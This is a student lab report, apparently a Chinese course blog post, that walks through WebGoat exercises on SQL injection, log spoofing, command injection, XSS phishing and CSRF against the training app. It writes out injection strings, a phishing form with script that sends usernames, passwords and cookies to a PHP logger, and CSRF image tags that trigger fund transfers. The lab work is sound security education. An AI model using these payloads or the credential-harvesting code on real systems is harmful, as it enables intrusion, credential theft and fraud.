20145314郑凯杰《网络对抗技术》实验9 web安全基础实践

一、实验准备

1.0 实验目标和内容

  1. Web前端HTML。能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
  2. Web前端javascipt。理解JavaScript的基本功能,理解DOM。编写JavaScript验证用户名、密码的规则。
  3. Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
  4. Web后端:编写PHP网页,连接数据库,进行用户认证
  5. 最简单的SQL注入,XSS攻击测试

2.0 实验问题的回答

(1)SQL注入攻击原理,如何防御

攻击原理:构造符合填入语句的攻击代码,将其输入录入框,以达到自己期望的请求,比如跳过验证,直接登录。

成因总的来说是代码编写不够严密:

  • 数据库组织类型不够完善
  • 不当的类型处理
  • 转义字符的应用漏洞
  • 最重要的是错误处理不严谨

防御方法:利用输入规则限制进行防御,不允许特殊字符输入

(2)XSS攻击的原理,如何防御

攻击原理:跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码注入到网页上或者数据库存储里面,在访问网页或者执行网页上功能是就会触发,实现攻击。

防御方法:

对于用户输入的攻击,只允许输入合法的值,其它值一概过滤掉。

加强对于

另外:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

(3)CSRF攻击原理,如何防御

XSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

  1. 用户浏览并登录信任网站A
  2. 验证通过,在用户处产生A的Cookie
  3. 用户在没有登出A网站的前提下,访问危险网站B
  4. B要求访问第三方站点A,发出请求,
  5. 根据B的请求,浏览器带着Cookie访问A
  6. A不知请求从哪里发出的,所以A会根据自己权限处理5,这样B就收到了模拟用户操作的目的

防御措施:

通过验证码来检测用户提交,每次访问都需要一个新的验证码

也可以通过强制使用户无法同时访问其他网页的方式来达到目的(代价有点大,不实际)

二、Injuection Flaw

1、webgoat开启

输入:java -jar webgoat-container-7.0.1-war-exec.jar

开启,直到出现:

打开浏览器,进入localhost:8080/WebGoat

完成开启

2、SQL字符串注入 String SQL Injection

进入训练区,首先进行SQL字符串注入的练习:

查看这个目标,全英文的,让我们通过构造输入,达到可以查看所有信用卡号的目的。

注意到,题目让我们试试smith:

史密斯的帐号就出来了,这不是重点,重点是要通过构造输入来达到越过"where"的效果:

语句为:SELECT * FROM user_data WHERE last_name = 'Smith'

参考上一次的实验,使用永真式,得到:

SELECT * FROM user_data WHERE last_name = ''or 1='1

将一条语句改成两条,所以我们需要填入:'or 1='1

3、日志欺骗 Log Spoofing

日志欺骗,利用日志的格式,使用换行等字符,欺骗管理员:

题意让我们用管理员的身份进去:

用CR (%0d) 或者 LF (%0a)的方式使用换行符,达到成功的效果。

输入zkj5314%0aLogin Succeeded for username: %0aadmin

事实证明,%0d与%0a都可以起到成功换行效果。只不过我后面那个%0a有点多余了,但照样成功了。

4、数字型SQL注入 Numeric SQL Injection

这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。

但是难点在于,并没有输入,这下怎么办呢

burpsuite,首先读取执行的SQL值,再对属性值进行修改,达到目的。

打开,

进入“Proxy”的“Options”

点击add,默认是8080端口被占用时需要添加一个新的端口8888

接下来对浏览器进行设置,依次进入:

preference-advanced-settings

将设置中,监听的端口改为5314

到这里,就建立好了捕获包的工具,所有数据都会通过这里。

回到webgoat,点击GO,再返回查看:

看到出现了一些数据,将其发送到repeater:

根据执行SQL

SELECT * FROM weather_data WHERE station = 101

注入SQL

SELECT * FROM weather_data WHERE station = 101 or 1=1

就修改这个station的位置为 101 or 1=1

就成功了:

5、命令注入 Command Injection

同上面一样,也没有输入框,所以还是用找出其命令再注入的办法,用上次用到的burpsuit:

同刚才一样抓包:

在提交的位置添加&netstat -a命令,第一个引号用来封闭前一个命令,最后一个用来闭合结尾的引号。

点击 go 之后实验成功:

6、数据后门 Database Backdoors

要求实现多条SQL语句注入,对于这样有输入框的,破解的方法就比较简单了

7、LAB SQL injection

分析:由于输入项只有一个,也就是密码,但是密码应该是密文传输,所以我们直接用burpsuit。

抓包,得到:

将GUEST该为永真式,点击GO 实验成功:

下面的STEP3,也参照数字注入:

另外两步 step2 和 step4,由于平台不同做不了。

所以到目前为止,注入部分就全部完成了:

看着一排绿钩心里十分开心

3、XSS练习

跨站脚本钓鱼攻击(Phishing with XSS)

三、XSS练习

1、跨站脚本钓鱼攻击(Phishing with XSS)

主旨是要我们编写一个钓鱼网站的页面。

本题给了我们一个例子,是一个搜索引擎的例子。要编写一个网页,实现录入。

我想到可以直接用上次实验做的代码:

加工之后变成:

前端haha.html//需要加上一个实现攻击的script脚本

<script>
function hack(){
str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;
str2="http://127.0.0.1/5314.php?" + str; XSSImage=new Image;
XSSImage.src=str2;
alert(str2);
}
</script> </form><form name="phish"><br><br><HR><H3>For your login:</H3 ><br><br>
Input your Username:<br><input type="text" name="user"><br>
Input your Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="submit" value="Login" onclick="hack()"><br>
</form><br><br><HR>

编写的5314.php:

zkj haha
<!DOCTYPE html>
<html>
<body>
<?php
echo " PHP 脚本!";
$uname=($_GET["username"]);
$pwd=($_GET["password"]);
$ck=($_GET["ck"]); $myfile = fopen("lyd.log", "a") or die("Unable to open file!");
fprintf($myfile,"username:");
fwrite($myfile, $uname);
fprintf($myfile,"\n");
fprintf($myfile,"password:");
fwrite($myfile, $pwd);
fprintf($myfile,"\n");
fprintf($myfile,"cookie:");
fwrite($myfile, $ck);
fprintf($myfile,"\n");
fclose($myfile);
/*
system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log");
*/
?> </body>
</html>

成功实现攻击,将传来的username和password写入log文件:

登陆界面,输入用户名和密码:

然后保存至/var/www/html中的lyd.log文件中

保存的用户密码:

2、储存型XSS(Stored XSS Attakcs)

这是一个擦除输入的练习。

思路是 发送一个信息,当用户收到这个信息时,就会触发在其中的恶意代码(用脚本语言写的),从而达到清除cookie的效果。

构造语句<script>alert(document.cookie);</script>

输入后点击20145314:

弹窗说明可清除cookies

完成该攻击

四、XSCF练习

1、Cross Site Request Forgery (CSRF)

你的目标是发一个email给newsgroup,内容包括一个有恶意URL请求的图片。URL要指向“attack”(包含参数“Screen”和“Menu”,还有一个额外参数“transferFunds”)。当收到含有CSRF页面的邮件时,就会执行transferFunds

根据题目要求我们伪装语句:

<img src='!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>

这个语句的关键就在于四个感叹号。

第一个:网站攻击源,可以是最后现金转过去的目的地址。这里不填,默认本地

第二个:在网站中有,页面右侧的scr和menu的值,直接填入。

第三个:同上

第四个:是需要转账的金额,选择5314元哈哈

攻击:

成功

2、CSRF Prompt By-pass

网页上的手动发起请求的操作,是通过HTML+JavaScript向服务器请求,在这道题目中,我们需要在文本框中添加两个语句,一个用于请求用户转账,另一个用于触发确认界面。

这个实验的实现跟上个很类似,所以直接这样完成就行了:

haha
<img src='attack?Screen=465&menu=900&transferFunds=5314'5314 width='1' height='1'> <img src='attack?Screen=465&menu=900&transferFunds=CONFIRM' width='1' height='1'>

完成:

最后,这一部分的完成情况为:

五、实验感想

这次的实验像闯关一样很有意思,最终的成果为:

还是很有成就感的,至于难度,有些还是挺麻烦的,有些由于平台之类的不好实现,所以就没有打勾,但是效果实现了。对实验进行一下总结,主要是:

  • 若有输入框,则有两种情况:为文本输入框时,考虑普通注入攻击方式进行攻击。若为密码框,可以采用burpsuite或者firesuite进行抓包注入
  • 若没有输入框,直接考虑进行抓包注入,工具同上,方法也同上。
  • 若需要清除cookies等功能时,会用到一些特殊的语句,这些语句通过百度可以查到。
  • 编写网页,用以钓鱼时,方法就更多了。同时,所需的知识也更多。

总的来说,本次的实验覆盖的面越来越广了。这样循序渐进的学习,知识和方法的确掌握了很多,比起曾经疲于奔命写博客来说,这样的有效的学习,真是让人有些小感动。

20145314郑凯杰《网络对抗技术》实验9 web安全基础实践的更多相关文章

  1. 20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践

    20145231熊梓宏 <网络对抗> 实验9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? •SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面 ...

  2. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  3. 20145302张薇 《网络对抗技术》逆向及BOF基础实践

    20145302张薇 <网络对抗技术>逆向及BOF基础实践 实验内容 实践对象:名为20145302的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单 ...

  4. 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13

    <网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...

  5. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

  6. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  7. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

  8. 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165312<网络对抗技术>Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric SQL Injecti ...

  9. 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165210<网络对抗技术>Exp9 Web安全基础 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 实验内容 安装Webgoat SQL注入攻击 - ...

  10. 2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

    2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS ...

随机推荐

  1. UVA 11768 - Lattice Point or Not

    首先本题需要用到扩展欧几里得算法…… 关于exgcd算法的一点简略证明: 那么,对于函数exgcd(a,b)=(d,x,y),其中d满足d=gcd(a,b); (x,y)满足ax+by=d; 则exg ...

  2. Spacy 使用

    # 前提是必须安装: python -m spacy download ennlp = spacy.load('en')text = u"you are best. it is lemmat ...

  3. 自动解压vsftpd上传的文件

    rsyslog.conf配置自定义模板 $template ssolog,"%msg%\n"if $programname == 'vsftpd' then ^/bin/auto_ ...

  4. function &w(){}

    CodeIgniter 3.1.0 <?php //\system\core\Common.php function &load_class($class, $directory = ' ...

  5. Cocos2d比较好的博客

    1 .http://blog.csdn.net/bill_man/article/details/7202458 学习笔记 2.http://cocos2d-x.org/ 官网 3.http://ww ...

  6. java内部类作用

    推荐一. 定义 放在一个类的内部的类我们就叫内部类. 二. 作用 1.内部类可以很好的实现隐藏 一般的非内部类,是不允许有 private 与protected权限的,但内部类可以 2.内部类拥有外围 ...

  7. 2018/03/10 每日一个Linux命令 之 cksum

    每日一个Linux命令 2018-03-10 Linux 命令 cksum cksum [文件]  今天楼下的一个大妈去世了,不仅感叹,现如今,真的和以前不一样了,楼上楼下都不知道住的是谁? cksu ...

  8. 查看修改MySQL字符集

    查看修改MySQL字符集 http://blog.sina.com.cn/s/blog_70ac6bec01016fts.html 查看修改MySQL字符集 (2012-08-22 09:53:21) ...

  9. PHPExcel使用-使用PHPExcel导入文件

    导入步骤: 1. 实例化excel读取对象 2. 加载excel文件 ----------------> ( 1>. 全部加载. 2>. 选择加载. ) 3. 读取excel文件 - ...

  10. 十天精通CSS3(9)

    Keyframes介绍 Keyframes被称为关键帧,其类似于Flash中的关键帧.在CSS3中其主要以“@keyframes”开头,后面紧跟着是动画名称加上一对花括号“{…}”,括号中就是一些不同 ...